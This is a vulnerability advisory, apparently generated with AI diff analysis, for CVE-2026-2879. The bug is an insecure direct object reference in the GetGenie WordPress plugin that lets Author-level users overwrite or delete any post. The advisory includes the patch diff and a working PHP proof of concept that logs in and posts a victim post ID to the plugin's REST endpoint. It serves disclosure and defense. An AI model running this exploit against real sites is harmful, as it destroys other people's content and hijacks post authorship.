Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2879: GetGenie <= 4.3.2 – Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Post Overwrite/Deletion (getgenie)

CVE ID CVE-2026-2879
Plugin getgenie
Severity Medium (CVSS 5.4)
CWE 639
Vulnerable Version 4.3.2
Patched Version 4.3.3
Disclosed March 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2879:
The root cause is an Insecure Direct Object Reference (IDOR) vulnerability in the GetGenie plugin’s REST API endpoint. The `create()` method within the `GetGenieChat` class (file `getgenie/app/Api/GetGenieChat.php`) accepts a user-supplied `id` parameter. The method uses this ID to call `wp_update_post()` without verifying the post’s ownership or type. This missing validation allows an authenticated user with Author-level capabilities to specify any existing post ID. The plugin will overwrite that post, changing its `post_type` to `getgenie_chat` and reassigning its `post_author` to the current user’s ID, effectively destroying the original content. The attack vector targets the REST API endpoint `/wp-json/getgenie/v1/chat/create`. An attacker sends a POST request with an `id` parameter set to the target post ID and a `templateSlug` parameter. The patch adds validation in the `create()` method. It retrieves the post object using `get_post($conversation_id)` and checks three conditions: the post exists (`$post`), the post type is `getgenie_chat`, and the post author matches the current user ID. If any check fails, the function returns an access denied message. This fix ensures users can only update their own chat conversation posts. The impact is arbitrary post overwrite and deletion by any authenticated user with at least Author privileges, leading to content destruction and potential privilege escalation via post author reassignment.

Differential between vulnerable and patched code

Code Diff
--- a/getgenie/app/Api/GetGenieChat.php
+++ b/getgenie/app/Api/GetGenieChat.php
@@ -75,6 +75,15 @@
             $conversation_id = wp_insert_post($record);
             $message = 'Chat created successfully.';
         } else {
+            // Verify the post exists, belongs to current user, and is the correct post type
+            $post = get_post($conversation_id);
+            if (!$post || $post->post_type !== 'getgenie_chat' || (int) $post->post_author !== get_current_user_id()) {
+                return [
+                    'status'  => 'fail',
+                    'message' => ['Access denied. You can only update your own chat conversations.'],
+                ];
+            }
+
             $record = array(
                 'ID'          => $conversation_id,
                 'post_title'  => $req->templateSlug . '-' . date('Y-m-d H:i:s'),
--- a/getgenie/app/Api/Store.php
+++ b/getgenie/app/Api/Store.php
@@ -29,7 +29,9 @@
             ];
         }

-        if (!is_user_logged_in() || !current_user_can('publish_posts')) {
+        $post_id = $request['post_id'];
+
+        if (!is_user_logged_in() || !current_user_can('edit_post', $post_id)) {
             return [
                 'status'  => 'fail',
                 'message' => ['Access denied.'],
@@ -37,8 +39,6 @@
         }

         $data = $request->get_body();
-
-        $post_id = $request['post_id'];
         $key     = $request['key'];
         $prefix  = GETGENIE_BLOGWIZARD_PREFIX;

@@ -71,6 +71,9 @@

         }

+        // Sanitize the data to prevent XSS attacks
+        $data = wp_kses_post($data);
+
         update_post_meta($post_id, $prefix . $key, wp_slash($data));

         return [
--- a/getgenie/getgenie.php
+++ b/getgenie/getgenie.php
@@ -5,7 +5,7 @@
  * Description:  GetGenie AI is the most intuitive A.I Content Wordpress Plugin that can help you save time and write smarter.
  * Plugin URI: https://getgenie.ai/
  * Author: getgenieai
- * Version: 4.3.2
+ * Version: 4.3.3
  * Author URI: https://getgenie.ai/
  *
  * Text Domain: getgenie
@@ -20,7 +20,7 @@

 defined('ABSPATH') || exit;

-define('GETGENIE_VERSION', '4.3.2');
+define('GETGENIE_VERSION', '4.3.3');
 define('GETGENIE_TEXTDOMAIN', 'getgenie');
 define('GETGENIE_BASENAME', plugin_basename(__FILE__));
 define('GETGENIE_URL', trailingslashit(plugin_dir_url(__FILE__)));

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2879 - GetGenie <= 4.3.2 - Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Post Overwrite/Deletion
<?php
// Configuration
$target_url = 'https://example.com';
$username = 'attacker_author';
$password = 'attacker_password';
$victim_post_id = 123; // ID of the post to overwrite (e.g., an Administrator's post)
$template_slug = 'exploit';

// Step 1: Authenticate to WordPress and obtain a nonce/authentication cookie.
// This PoC uses a session with cookies. In practice, you may need to handle REST API authentication.
$login_url = $target_url . '/wp-login.php';
$rest_url = $target_url . '/wp-json/getgenie/v1/chat/create';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ])
]);
$response = curl_exec($ch);

// Step 2: Send the malicious request to the vulnerable endpoint.
// The plugin does not require a nonce for this action in vulnerable versions.
$payload = [
    'id' => $victim_post_id,
    'templateSlug' => $template_slug
];
curl_setopt_array($ch, [
    CURLOPT_URL => $rest_url,
    CURLOPT_POSTFIELDS => json_encode($payload),
    CURLOPT_HTTPHEADER => ['Content-Type: application/json']
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Output result.
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A successful exploit will return a JSON response with status 'success' and the updated post ID.
// The victim post's content, author, and type will be overwritten.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School